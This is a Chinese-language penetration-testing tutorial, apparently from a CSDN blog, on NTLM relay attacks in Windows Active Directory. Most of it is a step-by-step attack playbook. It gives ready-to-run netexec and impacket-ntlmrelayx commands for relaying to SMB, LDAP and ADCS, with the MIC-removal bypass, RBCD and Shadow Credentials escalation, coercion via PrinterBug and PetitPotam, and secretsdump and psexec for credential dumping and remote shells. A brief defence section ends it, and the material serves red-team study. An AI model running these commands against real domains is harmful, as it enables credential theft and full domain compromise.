一、 NTLM Relay 的核心原理
NTLM 是一种典型的“挑战/响应”(Challenge/Response)身份验证协议。攻击的核心在于:攻击者不直接破解 Net-NTLM Hash,而是将其转发(Relay)给另一台目标服务器,以截获者的身份冒充受害者获取权限。
1. 经典流程
- 受害者(Client)尝试访问攻击者(Attacker)伪装的服务。
- 攻击者将请求转发给目标服务器(Target)。
- 目标服务器生成一个
Challenge并发给攻击者。 - 攻击者将
Challenge原样转发给受害者。 - 受害者用自己的 Hash 加密
Challenge生成Response发给攻击者。 - 攻击者将
Response转发给目标服务器。 - 目标服务器校验成功,攻击者成功冒充受害者建立会话。
二、 常见的 NTLM Relay 触发姿势
要实现中继,首要任务是诱导/强制受害者向攻击者发起认证。
1. 广播协议劫持(LLMNR/NBNS)
当 Windows 主机无法通过 DNS 解析某个名称时,会退而求助 LLMNR/NetBIOS 协议进行广播。
- 技巧:使用 Responder。当用户手抖输错域名(如
\\serber01),Responder 会声称自己就是该服务器,诱导客户端发送 NTLM 认证。
2. IPv6 劫持(mitm6)
现代 Windows 默认开启 IPv6 且优先级高于 IPv4。
- 技巧:使用
mitm6。攻击者在域内伪造 DHCPv6 服务器,为受害者指定自己为 DNS 服务器。当受害者尝试访问 WPAD 等服务时,会自动通过 IPv6 向攻击者发起认证。
3. 打印机漏洞强制认证(PrinterBug)
利用 MS-RPRN RPC 接口,攻击者可以强制域内任何主机(包括域控)向攻击者主机发起 SMB 认证。
- 应用场景:常用于获取域控的机器账号权限,配合 Resource-Based Constrained Delegation (RBCD) 实现提权。
4.PetitPotam (MS-EFSR)
类似于 PrinterBug,利用加密文件系统远程协议强制目标机器向攻击者进行 NTLM 认证。
三、 经典攻击路径与工具链
NTLM Relay的核心价值在于“中继后做什么”。单纯拿到Net-NTLMv2响应并不能直接登录,但通过ntlmrelayx.py可以把认证会话直接复用到目标服务上,实现横移、提权、持久化。
姿势 A:SMB 到 SMB 中继
适用条件:目标主机SMB signing关闭(或仅启用但非强制),中继用户对目标有本地管理员权限。
完整操作链:
-
探测无签名主机(最关键一步):
# 使用netexec扫描全网段 netexec smb 10.10.10.0/24 -u 'lowpriv' -p 'P@ssw0rd' --gen-relay-list relay.txtrelay_targets.txt 示例:
10.10.10.23 fileserver01.lab.local -
启动中继:
# 基础版 + SOCKS + IPv6 + SMB2/3 impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks -6 -wh wpadfake.lab-tf:支持多目标轮询(比单-t更稳)-socks:开启本地SOCKS5(127.0.0.1:1080),后续可proxychains所有工具-6:监听IPv6-wh:伪造WPAD响应,增强mitm6效果
-
触发方式:
- 被动:Responder + LLMNR/NBNS/WPAD poisoning
- 主动:DFSCoerce / PetitPotam / PrinterBug 强制文件服务器认证
-
收割成果:
- SAM/LSA dump(如果中继到本地管理员):
impacket-secretsdump -just-dc-ntds 'lab.local/user:pass@10.10.10.23' - 通过SOCKS执行命令:
proxychains impacket-psexec -k -no-pass 'lab.local/compromiseduser@10.10.10.23' - 或smbexec/wmiexec交互shell。
- SAM/LSA dump(如果中继到本地管理员):
姿势 B:SMB/HTTP 到 LDAP/LDAPS 中继
杀伤力最高路径:中继到域控LDAP,修改AD对象,实现RBCD、Shadow Credentials、加域管、DCSync等。
为什么LDAP仍是软肋?
- LDAP默认不强制签名(仅推荐)。
- Windows Server 2025开始默认强制LDAP加密+通道绑定,但大量企业仍用旧DC或禁用。
--remove-mic可绕过MIC保护,实现跨协议unsigning relay。
典型命令:
# 经典RBCD自动化(机器账户中继最常见)
impacket-ntlmrelayx -t ldaps://dc.lab.local \
--delegate-access \
--escalate-user attacker-pc$ \
--remove-mic \
-smb2support -6 \
--no-dump --no-da --no-acl
--delegate-access:自动创建新机器账户(默认格式ATTACKER-随机$),并在目标机器对象上写msDS-AllowedToActOnBehalfOfOtherIdentity,允许该账户对目标进行S4U2Self/S4U2Proxy。--escalate-user hack:旧参数(部分版本仍支持),指定已有用户/机器,尝试赋予高权限(如GenericAll、WriteDacl)。--remove-mic:剥离MIC(CVE-2019-1040绕过),SMB→LDAP必备。--no-dump / --no-da / --no-acl:减少噪音,避免额外操作触发告警。
Shadow Credentials 变种(PKINIT提权,推荐):
impacket-ntlmrelayx -t ldaps://dc.lab.local \
--shadow-credentials \
--shadow-target fileserver01$ \
--remove-mic -smb2support -6 \
--no-dump
成功后:攻击者在目标机器对象上写入伪造Key Credential → 使用PKINIT获取TGT → 以fileserver01$身份登录(常用于横移到高价值主机)。
其他LDAP操作:
--add-computer evilpc$ --computer-pass 'Pass@123':添加新机器账户。--dump-ad:dump整个域(高危,慎用)。
触发方式:优先机器账户 coercion(PrinterBug / PetitPotam / DFSCoerce),因为机器账户密码长且不可改,NTLM hash极难破解,但可直接relay。
姿势 C:HTTP/SMB 到 ADCS(ESC8 / ESC11 / 证书提权)
通过Web Enrollment或Certificate Enrollment Policy Web Service中继,申请高危模板证书。
典型命令:
impacket-ntlmrelayx -t http://adcs.lab.local/certsrv/certfnsh.asp \
--adcs --template Machine \
-smb2support --remove-mic
--adcs:启用ADCS攻击模块。--template:指定模板(Machine / User / DomainController 等)。- 成功后:获得base64证书 → 使用pass-the-certificate获取TGT。
2025年后变化:Microsoft在Windows Server 2025和部分补丁中默认启用EPA + NTLM relay防护到ADCS,但遗留环境仍大量存在ESC8。
姿势 D:多目标轮询 + 交互模式(大型网络利器)
impacket-ntlmrelayx -tf targets-all.txt -w \
-smb2support -6 -socks \
--http-port 80 --https-port 443
-w:watch模式,relay.txt修改后自动重载。- 支持同时监听HTTP/HTTPS/SMB,适合复杂环境。
姿势 E:反射式Relay(Reflection,本机中继,CVE-2025-33073相关)
2025年新变种,利用SMB客户端反射漏洞,本机强制认证后反射回自己,实现本地提权。
简要流程:
- 控制一台主机 → 使用DFSCoerce等强制本机认证 → relay回本机LDAP/SMB → 修改本地权限。
适用:无法外中继但能RCE的场景。
四、 实战排错与关键点
在实战中,以下三个点往往决定成败:
- SMB 签名 (Signing):如果目标服务器开启了
Message signing is required,SMB Relay 会直接失败。 - 端口冲突:运行
ntlmrelayx前必须关闭 Responder 的 SMB 和 HTTP 模块(修改Responder.conf),因为它们会竞争 445/80 端口。 - IPv6 适配 (-6):很多现代内网流量走 IPv6,如果工具没加
-6参数,就像守在正门却没看后门,会漏掉大量认证流量。
实战Tips:
- 始终加
-debug排查。
五、 防御建议
- 强制 SMB 签名:在域组策略(GPO)中强制所有机器开启 SMB 签名(代价是轻微的性能损耗)。
- LDAP 签名与通道绑定:在域控上开启 LDAP 签名强制和 LDAPS。
- 禁用不安全协议:全面禁用 LLMNR、NetBIOS 和 WPAD。
- 加入“受保护的用户”组:将高权账号(如 Domain Admin)加入该组,强制使用 Kerberos,禁止 NTLM 降级。
- EPA (Extended Protection for Authentication):开启扩展认证保护,防止凭据中继。
原文 https://blog.csdn.net/2301_79518550/article/details/156111896